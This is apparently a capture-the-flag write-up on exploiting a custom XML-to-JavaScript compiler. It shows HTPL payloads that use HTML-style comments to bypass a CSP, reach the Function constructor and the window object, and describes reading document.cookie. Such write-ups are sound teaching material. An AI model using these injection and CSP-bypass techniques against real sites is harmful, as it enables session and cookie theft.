TL;DR

There is an HTML injection in the write.html endpoint. However, it is not exploitable because of a strict CSP script-src "self" "unsafe-eval". Notice that program.ts has a call to eval that allows us to bypass the CSP if we can control the HTPL compiler output. It is possible to forge HTML-like comments using the HTPL language to invalidate the ; at the end of each line. We can now forge code to access an object (array) property and get references to function.constructor to create code from a string and, with that in mind, we can obtain a reference to the window object. After this, exploitation is trivial to retrieve the value of window.document.cookie. (Implementation details in the attachments)

Analyzing the Service

This challenge implements a simple compiler for an XML-based language called Hyper Text Programming Language. The compiler parses the input and generates an AST. While parsing the AST, it generates JavaScript code that is eval’ed (see src/ast/program.ts line 41).

While exploring the service, we noticed that there was a plain HTML injection in the write.html endpoint. We also noticed that the bot clicked on all the buttons on the page that had the run-btn class assigned. However, this is not easily exploitable due to the page having a strict CSP (script-src "self" "unsafe-eval"). After noticing this, we concluded that we needed to somehow exploit the compiler itself.

The compiler has a very reduced set of functionalities. There is no access to JavaScript objects nor property access of said objects. We also cannot access already defined variables like the window object because the ASTIdentifier node prepends and appends a $ to the variable name. There is, however, a way to create arrays and call some built-in functions. We will use this later in the exploit.

Weird JavaScript Gimmicks

Since we can create arrays, we immediately thought of JavaScript type coercion. Following this cue, we stumbled upon a rather famous programming language called JSFuck. Taking inspiration from this we started toying around with array creation, since if we can access the property filter of an array, we get a reference to a function.

It was around this time that we noticed that the main issue with the compiler is that it appends a ; to the end of each JavaScript line produced. This meant we couldn’t easily produce the following output:

[]
["filter"]
["constructor"]

Instead, we would get the following:

[];
["filter"];
["constructor"];

Note that the two payloads are effectively different since the first evals to function Function() and the second evals to the creation of 3 arrays.

The next thought we had is that if we can somehow inject comments before the ;, we could have a working exploit rather easily.

[]//;
["filter"]//;
["constructor"];

We started exploring the division functionality of the language without success, since we always needed to provide a left-hand and a right-hand operator for the ASTDiv node to compile successfully. That’s when we had a brilliant idea. We thought we could inject HTML-like comments instead of regular JavaScript comments.

[]<!--;
["filter"]<!--;
["constructor"];

We were amazed that this not only worked but was also spec-compliant (see this).

We could generate the above output using the following HTPL code using the less than operator, the not operator and an array node.

So the following code:

<x-let>
  <x-identifier>filter_constructor</x-identifier>
  <x-lt>
    <x-array>a</x-array>
    <x-not>
      <x-dec>
        <x-identifier>a</x-identifier>
      </x-dec>
    </x-not>
  </x-lt>
</x-let>
<x-lt>
  <x-array><x-str>filter</x-str></x-array>
  <x-not>
    <x-dec>
      <x-identifier>a</x-identifier>
    </x-dec>
  </x-not>
</x-lt>
<x-array><x-str>constructor</x-str></x-array>

Produces the following JavaScript code:

let $filter_constructor$ = []<!--$a$;
["filter"]<!--$a$;
["constructor"];

As the language supports function calls, we could easily run arbitrary code with a reference to a function constructor using the following code:

<x-let>
  <x-identifier>window_fn</x-identifier>
  <x-call>
    <x-identifier>filter_constructor</x-identifier>
    <x-str>return this</x-str>
  </x-call>
</x-let>
<x-let>
  <x-identifier>window</x-identifier>
  <x-call>
    <x-identifier>window_fn</x-identifier>
  </x-call>
</x-let>
let $window_fn$ = filter_constructor("return this");
let $window$ = $window_fn$();

And after this, we got a reference to the window object :D

The rest of the exploit uses the above functionalities to access the window.document.cookie and return the cookies using the write function.

Closing regards

JavaScript is weird. But it got us a first blood and a really awesome team badge, so we love it :D

Full exploit

source.zip exploit.htpl